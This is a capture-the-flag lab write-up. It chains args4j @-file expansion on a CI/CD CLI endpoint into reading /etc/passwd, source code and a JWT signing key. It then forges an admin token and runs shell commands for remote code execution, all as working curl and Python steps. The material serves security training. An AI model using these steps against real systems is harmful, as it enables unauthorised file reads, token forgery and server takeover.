Lab 320 — BuildForge — Path Traversal to RCE via CLI @File Expansion
Lab 320 — BuildForge — Path Traversal to RCE via CLI @File Expansion
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_read_via_cli_parsing, args4j_atfile_expansion, jwt_token_forgery_with_leaked_key, server_side_script_execution
Summary
Walkthrough of the CUSTOM Web Lab 320 — BuildForge — Path Traversal to RCE via CLI @File Expansion. Task: CI/CD platform with CLI endpoint using args4j expandAtFiles, allowing @-prefixed args to read server files. Solution: chain arbitrary file read to leak JWT signing key, forge admin token, execut
Description
BuildForge is a self-hosted CI/CD automation platform used by development teams to manage build pipelines, deploy applications, and coordinate release workflows. The platform features a web dashboard for managing projects and pipelines, a CLI interface for automation and scripting, and an admin console for system configuration.
Target: https://d5c0aff6-58ad-4d26-9a16-f13084496cf3.labs.hackadvisor.io/
Credentials: user@test.com / password123
Objective: Escalate from authenticated user to remote code execution on the server.
Analysis
Reconnaissance
- Platform identification: Express/Node.js application (BuildForge v2.4.1)
- API documentation at
/api/docsrevealed critical endpoints:POST /api/cli— CLI interface with args4j argument parser,expandAtFilesenabledPOST /api/admin/script— Execute server-side scripts (requires admin API token with JWT Bearer auth)
- Key insight: The args4j library's
expandAtFilesfeature treats arguments starting with@as file paths, reading their contents and substituting them as argument values
Vulnerability Chain
The attack chain involves three stages:
- Arbitrary file read via
@fileexpansion in the CLI endpoint - Secret extraction — JWT signing key and auth configuration from server files
- Privilege escalation + RCE — Forge admin JWT, execute commands via admin script endpoint
Solution
Step 1: Login and Discovery
Logged in with provided credentials and explored the API documentation:
bash read-only • copy allowed# Login curl -X POST "$URL/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email": "user@test.com", "password": "password123"}' \ -c cookies.txt # Check API docs curl "$URL/api/docs" -b cookies.txt
The /api/docs endpoint revealed the CLI interface uses args4j with expandAtFiles: true.
Step 2: Path Traversal via @file Expansion
The /api/cli endpoint parses arguments using args4j. When expandAtFiles is enabled, any argument prefixed with @ is interpreted as a file path — the file's contents replace the argument value.
bash read-only • copy allowed# Test file read with /etc/passwd curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"command": "build", "args": ["@/etc/passwd"]}'
The build command had restrictions on argument length/newlines, but the config command echoed back the full expanded argument without truncation:
bash read-only • copy allowed# Read server source code curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"command": "config", "args": ["@/app/server.js"]}'
Step 3: Extracting Secrets
From the source code, identified secret file locations and read them:
bash read-only • copy allowed# Read JWT signing key curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"command": "config", "args": ["@/app/data/secrets/api-token.key"]}' # Result: hx/7xbf+S45P5ZOFGXGeC9rgXTSuv00ZV8vV6Xm5s1eLEKOUiWDYeiyu71Z6ujeZ # Read auth configuration curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"command": "config", "args": ["@/app/data/config/auth.json"]}' # Result: algorithm=HS256, issuer=buildforge-auth, admin_claims={role: "admin", iss: "buildforge-auth"}
Step 4: Forging Admin JWT Token
Used the leaked signing key and configuration to forge an admin JWT:
python read-only • copy allowed#!/usr/bin/env python3 import jwt key = 'hx/7xbf+S45P5ZOFGXGeC9rgXTSuv00ZV8vV6Xm5s1eLEKOUiWDYeiyu71Z6ujeZ' token = jwt.encode( {'role': 'admin', 'iss': 'buildforge-auth'}, key, algorithm='HS256' ) print(token)
Step 5: Remote Code Execution
Used the forged admin token to execute shell commands via the admin script endpoint:
bash read-only • copy allowedTOKEN="<forged_jwt_token>" curl -X POST "$URL/api/admin/script" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"script": "cat /root/flag.txt", "language": "shell"}'
Response:
json read-only • copy allowed{"output":"FLAG{REDACTED}","language":"shell","status":"completed"}
Key Takeaways / Lessons
- Mastering arbitrary_file_read_via_cli_parsing, args4j_atfile_expansion, jwt_token_forgery_with_leaked_key, server_side_script_execution was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-03 • CUSTOM • Lab 320 — BuildForge — Path Traversal to RCE via CLI @File Expansion • Difficulty: Medium